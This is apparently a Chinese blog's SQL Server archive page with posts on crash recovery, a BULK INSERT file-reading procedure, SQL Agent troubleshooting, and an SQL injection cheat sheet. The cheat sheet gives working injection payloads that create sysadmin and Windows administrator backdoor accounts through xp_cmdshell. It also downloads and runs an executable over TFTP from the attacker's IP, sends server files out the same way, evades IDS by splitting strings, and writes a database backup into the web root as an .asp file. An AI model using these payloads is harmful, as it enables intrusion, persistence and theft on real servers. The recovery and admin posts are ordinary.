  任何数据库系统都无法避免崩溃的状况,即使你使用了Clustered,双机热备……仍然无法完全根除系统中的单点故障,何况对于大部分用户来说,无法承受这样昂贵的硬件投资。所以,在系统崩溃的时候,如何恢复原有的宝贵数据就成为一个极其重要的问题了。

  在恢复的时候,最理想的情况就是你的数据文件和日志文件都完好无损了,这样只需要sp_attach_db,把数据文件附加到新的数据库上即可,或者在停机的时候把所有数据文件(一定要有master等)都copy到原有路径下也行,不过一般不推荐这样的做法,sp_attach_db比较好,虽然麻烦许多。

  但是呢,一般数据库崩溃的时候系统是未必能有时间把未完成的事务和脏页等写入磁盘的,这样的情况sp_attach_db就会失败。那么,寄期望于DBA制定了一个良好的灾难恢复计划吧。按照你的恢复计划,还原最新的完全备份,增量备份或者事务日志备份,然后如果你的活动事务日志还能读得出来的话,恭喜你!你可以还原到崩溃前的状态。

   一般的单位都是没有专职的DBA的,如果没有可用的备份,更可能是最近一次备份的时间过于久远而导致不可接受的数据损失,而且你的活动事务日志也处于不可用的状态,那就是最麻烦的情况了。

  不幸的很的是,一般数据库崩溃都是由于存储子系统引起的,而这样的情况是几乎不可能有可用的日志用于恢复的。

  那么就只好试一下这些方案了。当然,是要求至少你的数据文件是存在的,要是数据文件、日志文件和备份都没有了的话,别找我,你可以到楼顶上去唱“神啊,救救我吧”。

  首先,你可以试一下sp_attach_single_file_db,试着恢复一下你的数据文件,虽然能恢复的可能性不大,不过假如这个数据库刚好执行了一个checkpoint的话,还是有可能成功的。

  如果你没有好到有摸彩票的手气,最重要的数据库没有像你期盼的那样attach上去,不要气馁,还是有别的方案的。

  我们可以试着重新建立一个log,先把数据库设置为emergency mode,sysdatabases的status为32768 就表示数据库处于此状态。


  不过系统表是不能随便改的,设置一下先
  Use Master
  Go
  sp_configure 'allow updates', 1
  reconfigure with override
  Go
  然后
  update sysdatabases set status = 32768 where name = ''

  现在,祈求满天神佛的保佑吧,重新建立一个log文件。成功的机会还是相当大的,系统一般都会认可你新建立的日志。如果没有报告什么错误,现在就可以松一口气了。

  虽然数据是恢复了,可是别以为事情就算完成了,正在进行的事务肯定是丢失了,原来的数据也可能受到一些损坏。

  先把SQL Server 重新启动一下,然后检查你的数据库吧。
  先设置成单用户模式,然后做dbcc
  sp_dboption '', 'single user', 'true'
  DBCC CHECKDB('')

  如果没有什么大问题就可以把数据库状态改回去了,记得别忘了把系统表的修改选项关掉。
update sysdatabases set status = 28 where name = '' --当然你的数据库状态可能不是这个,自己改为合适的值吧。也可以用sp_resetstatus
  go
  sp_configure 'allow updates', 0
  reconfigure with override
  Go

  checkdb的时候可能报告有一些错误,这些错误的数据你可能就只好丢弃了。

  checkdb有几种修复选项,自己看着用吧,不过最后你可能还是得REPAIR_ALLOW_DATA_LOSS,完成所有修复。

  chekcdb并不能完成所有的修复,我们需要更进一步的修复,用DBCC CHECKTABLE对每一个表做检查吧。

  表的列表可以用sysobjects里面得到,把OBJECTPROPERTY是IsTable的全部找出来检查一下吧,这样能够基本上解决问题了,如果还报告错误,试着把数据select into到另一张表检查一下。

  这些都做完了之后,把所有索引、视图、存储过程、触发器等重新建立一下。DBCC DBREINDEX也许可以帮你一些忙。

  上面提到的命令、对象在Books Online中均有详细说明,请注意参看。

读取文本文件到数据库

| 1 Comment

--**************************************
-- Name: Read a text file into SQL SERVER
--
-- Description:Using BULK INSERT TO READ
--             A TEXT FILE into SQL SERVER and ELIMINATING
--             THE USE of another text editor.
-- By: Eli Leiba
--
-- Inputs:@filename sysname (filename includes path)
--
-- Returns:a recordset of the file lines in QUERY analyzer
--
-- Assumes:Usage :
   EXEC sp_readTextFile 'c:\autoexec.bat'
--
--This code is copyrighted and has limited warranties.
--Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=359&lngWId=5
--for details.
--**************************************
--    


CREATE PROC sp_readTextFile @filename sysname
as
     BEGIN
     SET nocount ON
     CREATE TABLE #tempfile (line varchar(8000))
     EXEC ('bulk INSERT #tempfile FROM "' + @filename + '"')
     SELECT * FROM #tempfile
     DROP TABLE #tempfile
 END
 GO

桂林老兵的SQLSERVER高级注入技巧

只供参考学习:

[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //将系统用户test提升为管理员


这样,你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--


然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell ’file.exe’;--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--


绕过IDS的检测[使用变量]
declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:\’


新加的:

建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk=’d:\web\db.asp’;


报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);

SQL Agent服务

1.在查询分析器理启动或停止SQL Agent服务
启动
use master
go
xp_cmdshell 'net start SQLSERVERAGENT'
停止
use master
go
xp_cmdshell 'net stop SQLSERVERAGENT'
将服务的启动从手工方式改为自动启动方式
exec xp_cmdshell 'scm -Action 7 -Service mssqlserver -SvcStartType 2'

直接用命令行执行引号内的内容也可以。


2、启动不正常原因和处理
表面上看sql server agent 服务启动正常,但在查看作业的属性与作业历史记录时都出现如下错误:
错误14258:当SQLServerAgent正在启动时,无法执行此操作。请稍后再试。


可能原因:
  选择了"使用 Windows NT 纤程",具体原因不明。
   解决方法:
    企业管理器--右键SQL实例--属性--处理器--取消选择"使用 Windows NT 纤程"
    然后重新启动sql服务


  修改了系统密码
   解决方法:
   a. 我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"本地系统帐户"
    或:
   b.我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"此帐户"--选择 administrator ,密码和确认密码中输入你的administrator密码.


   两者的区别:
选择第一种方式,以后修改了administrator密码,不用再调整(但要求登陆操作系统的是系统管理员)


数据库非法DOWN机出现故障。
   解决方法:
     用安装光盘重新安装,然后选择‘高级选项’—‘重建注册表’,然后一路下去……(这个没有试过)
 



About this Archive

This page is a archive of recent entries in the SQL Server category.

Oracle is the previous category.

Find recent content on the main index or look in the archives to find all content.